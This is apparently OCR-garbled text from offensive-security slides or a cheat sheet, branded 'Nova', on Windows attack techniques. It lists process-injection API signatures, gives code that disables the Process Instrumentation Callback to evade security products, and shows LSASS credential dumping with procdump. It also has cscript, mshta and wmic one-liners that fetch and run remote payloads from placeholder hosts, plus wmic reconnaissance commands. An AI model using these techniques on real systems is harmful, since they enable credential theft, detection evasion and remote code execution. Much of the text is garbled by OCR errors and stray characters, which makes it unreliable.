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SetWindowsHookEx:

HHOOK SetWindowsHookEXA(
int idHook,
HOOKPROC 1pfn,
HINSTANCE hmod,

DWORD dwThreadId

)3

PostThreadMessage:

BOOL PostThreadMessageA(
DWORD 1dThread,
UINT  Msg,
WPARAM wParam,
LPARAM 1Param
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22 b)93 ol jlipmmg So > e IS bl g G255 Joliv SsSS
1394050 (self-injection) Lol Guwgp ploo

JORD dwDesiredAccess,
300L bInheritHandle,
DWORD dwThreadId
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LpBaseAddress,
LpBuffer,

nsSize,
*1pNumberOfByteswWritten

SetThreadContext

BOOL SetThreadContext(
Py HANDLE hThread,
s NOVAGROUPS.ONLINE const CONTEXT *1pContext
)5
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ResumeThread

DWORD ResumeThread(
HANDLE hThread
)3

NtResumeThread (Undocumented)
NTSTATUS NTAPI NtResumeThread(
IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONA

);
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:Process Instrumentation Callback-3 @

Process Instrumentation Callback is defined as the
ProcessinstrumentationCallback flag (0x40) and is used by security
products to detect potential direct syscall invocation by registering a
callback to check if the syscall instruction comes from the executable
image and not NTDLL. To bypass it for our process we just have to set
Callback to NULL

M+ PROCESS_INSTRUMENTATION-bypass-Nova

PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version 0x0;
InstrumentationCallbackInfo.Reserved 0x0;
InstrumentationCallbackInfo.Callback NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
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https://winternl.com/detecting-manual-syscalls-from-user-mode/
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CreateToolhelp32Snapshot

HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID

);

Process32First

BOOL Process32First(

HANDLE hSnapshot,
LPPROCESSENTRY32 1ppe

);

Process32Next

BOOL Process32Next(

HANDLE hSnapshot,
LPPROCESSENTRY32 1ppe

)




hSnapshot,

hSnapshot,
Lpte

JORD QueueUserAPC(
PAPCFUNC pfnAPC,
. hThread,

NG_PTR dwData
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Final Part:
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:Dumping LSASS Without Mimikatz-5
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PS C:\Users\nova> tasklist | findstr lsass
lsass.exe Services
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procdump.exe -accepteula -ma “lsass.exe” out.dmp
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:Command Prompt from MSPaint -6
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Living off the Land; for Stealthy Execution
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Cscript/Wscript
cscript //E:jscript \\webdavserver\folder\payload.txt

MSHTA

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload
.sct"")")) mshta \\webdavserver\folder\payload.hta

WMIC

wmic os get /format:"https://webserver/payload.xsl"

Examining Processes with WMIC

wmic process list full
wmic process list brief
wmic process get name, parentprocessid,processid
wmic process where processid=pid get commandline

WMI Recon

wmic process get CSName,Description,ExecutablePath,ProcessId
wmic useraccount list full

wmic group list full

wmic netuse list full

wmic qfe get Caption,Description,HotFixID,InstralledOn

wmic startup get Caption,Command,Location,User
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